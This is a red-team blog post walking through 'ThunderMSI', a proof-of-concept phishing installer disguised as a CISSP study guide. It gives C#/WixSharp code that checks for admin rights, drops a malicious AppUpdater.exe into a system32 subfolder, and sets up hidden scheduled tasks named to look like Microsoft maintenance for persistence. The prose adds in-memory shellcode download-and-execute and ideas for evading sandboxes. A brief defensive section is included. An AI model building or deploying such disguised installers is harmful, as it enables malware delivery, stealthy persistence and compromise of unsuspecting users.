Hey all,
Lately I’ve been playing around with MSI files as an all-in-one phishing package. I feel that MSIs are moderately trusted when it comes to downloadable files. Couple this with the ability to introduce some logic and I think MSIs can be a great way to avoid common security controls while shooting for that initial foothold during an engagement.
Personally, I feel when targeting users of high infosec awareness it’s best to bring the target to you and make them want to download your software. I like to bundle a bunch of publicly available legitimate tools with one or two of my custom written files … never embed cleartext shellcode, always grab it from a web server, dns, or whatever. This post follows ThunderMSI, a faux CISSP study guide that performs a series of actions depending on the user’s privilege level.
Recommended Read – Wixsharp Managed Setup
How to Defend
- Be skeptical when downloading software. It might be a good idea to have an auditing VM dedicated to vet software before installing on your primary machine.
- A good HIDS should be able to flag or detect several of the suspicious actions in this PoC. For example, a well written MSI shouldn’t be writing an exe to system32 or creating scheduled tasks in Windows sub-directories.
- Monitor processes for network IO. It’s not a good thing if cmd.exe or powershell.exe is consistently generating unexpected network traffic.
Overview
ThunderMSI is a C# program using wix and wixsharp that builds into a single .MSI file. It contains nothing that should be flagged as malicious; however, there are some WINAPI calls (createremotethread) that might trigger advanced endpoint solutions.
So the only logic going on here is detecting whether the executing user is a local administrator, pretty simple but critical when it comes to dynamic packages. However, this could be expanded to enumerated software, registry, username, security policies, and so on; the potential is great.
Under the Hood – Features and Files
var domainSS = new Feature("Domain Spreadsheets"); var practiceT = new Feature("Practice Tests"); var eResources = new Feature("External Resources"); var project = new ManagedProject("CISSP Study Guide", new Dir(@"%AppData%\CISSP Study Guide", new File("Access Control.txt"), new File("Application Development Security.txt"), new File("Cryptography.txt"), new File("Governance and Risk.txt"), new File("Opsec.txt"), new File("Physical Security.txt"), new File("Architecture and Design.txt"), new File("Telecomm and Network.txt"), new File("AppUpdater.exe").SetComponentPermanent(true) ),
Packaged within the MSI are features and files to make it look like a standard installer file. Out of the packaged files, AppUpdater.exe is the malicious piece of software that will download and execute shellcode from our webpage.
Managed Actions and Runtime Events
Managed actions are where the magic happens. These functions allow us to enumerate and dynamically perform actions based on conditions detected at runtime.
static void Msi_UIInit(SetupEventArgs e) { e.Session["ALLUSERS"] = "2"; if (Shared.IsAdmin("Administrators", Environment.UserName)) { e.Session["MSIINSTALLPERUSER"] = "0"; Shared.WebLoad(); } else { e.Session["MSIINSTALLPERUSER"] = "1"; Shared.WebLoad(); }}
Before the MSI UI is initialized we call Shared.IsAdmin() to detect if the executing user is a member of the local administrators group. If the user is a member we elevate the process to high integrity so we don’t continuously generate UAC prompts. Shared.WebLoad() performs a crude in-memory download and execute using cmd.exe and createremotethread. Note, this is a quick and dirty PoC and could be flagged … needs TLC.
new Property("ADMINPRIVS", "no"), new ManagedAction(CustomActions.AdminCheck, Return.ignore, When.Before, Step.InstallInitialize, Condition.NOT_Installed), ... new Property("FILELOC", "no"), new ElevatedManagedAction(CustomActions.FileCopy, Return.check, When.After, Step.InstallFiles, Condition.NOT_Installed) { Condition = new Condition("ADMINPRIVS=\"yes\""), UsesProperties = "FLOC=[FILELOC]", Execute = WixSharp.Execute.deferred }, ... [CustomAction] public static ActionResult AdminCheck(Session session) { if(Shared.IsAdmin("Administrators", Environment.UserName)) session["ADMINPRIVS"] = "yes"; return ActionResult.Success; } [Custom Action] public static ActionResult FileCopy(Session session) { IO.File.Copy(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\CISSP Study Guide\\AppUpdater.exe", session.Property("FLOC"), true); return ActionResult.Success; }
Properties are how we make the MSI dynamically adjust based on information that is enumerated at runtime.
We call Shared.IsAdmin() a second time (lazy, I know) to set a MSI property called ADMINPRIVS which will be used as a condition for other Managed Actions. Managed Action FileCopy is an elevated task that will copy AppUpdater.exe to windows\system32\spool\tools if the user has local administrator privileges. Side note, UsesProperties is how we pass properties to Managed Actions.
Admin vs User Persistent Points
We’ve created an initial call-home session from our target, identified whether the executing user is a local administrator, and if privileged, copied a file to a system32 sub-directory. At this point it’s time to establish persistence. In this PoC we used scheduled tasks but I would imagine most techniques are doable; however, I need to make note that during development I had issues using COM which might limit your options … there is always WINAPI or calling a process directly ( :S ).
new ElevatedManagedAction(CustomActions.AdminScheduledTask, Return.check, When.After, Step.InstallFiles, Condition.NOT_Installed) { Condition = new Condition("ADMINPRIVS=\"yes\""), UsesProperties = "URUN=[USERRUN], FLOC=[FILELOC]", Execute = WixSharp.Execute.deferred }, ... [CustomAction] new ManagedAction(CustomActions.UserScheduledTask, Return.check, When.After, Step.InstallFiles, Condition.NOT_Installed) { Condition = new Condition("ADMINPRIVS=\"no\""), UsesProperties = "URUN=[USERRUN], FLOC=[FILELOC]", Execute = WixSharp.Execute.deferred }, ... [CustomAction] public static ActionResult AdminScheduledTask(Session session) { string sSchTasks = String.Format("/create /F /SC daily /TN \"Microsoft\\Windows\\Maintenance\\Software Update Task\" /ST 08:00 /TR \"'{0}'\" /RU {1}", session.Property("FLOC"), session.Property("URUN")); var processI = new ProcessStartInfo { UseShellExecute = false, FileName = "schtasks.exe", CreateNoWindow = true, WindowStyle = ProcessWindowStyle.Hidden, Arguments = sSchTasks }; System.Diagnostics.Process.Start(processI); return ActionResult.Success; } [CustomAction] public static ActionResult UserScheduledTask(Session session) { string sSchTasks = String.Format("/create /F /SC daily /TN \"Software Update Task\" /ST 08:00 /TR \"'{0}\\CISSP Study Guide\\AppUpdater.exe'\" /RU {1}", Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), session.Property("URUN")); var processI = new ProcessStartInfo { UseShellExecute = false, FileName = "schtasks.exe", CreateNoWindow = true, WindowStyle = ProcessWindowStyle.Hidden, Arguments = sSchTasks }; System.Diagnostics.Process.Start(processI); return ActionResult.Success; }
As seen in the conditions, UserScheduledTask is run if the user is not a local administrator while AdminScheduledTask if the user is. Each Managed Action uses the schtasks process which unfortunately increases the footprint, this is where I ran into COM issues. I did a bit of research looking for WINAPI calls to create a scheduled task but did not find much, if you happen to have some info on this please let me know. Thanks!
Non Administrator
Kinda noisy.
Administrator
A bit better.
Conclusion
This is a pretty straight forward example which included one logic point, however, consider the potential. During engagements where “phishing with teeth” is permitted, it’s ideal to ensure that only defined targets can acquire and execute your packages. Enter the logic. A MSI package with wix and wixsharp could be benign to a user out-of-scope while malicious to an in-scope user; or alternatively, perhaps your package can keep the nastiness on the DL if some sort of sandboxing is detected. Either way, the options are plenty.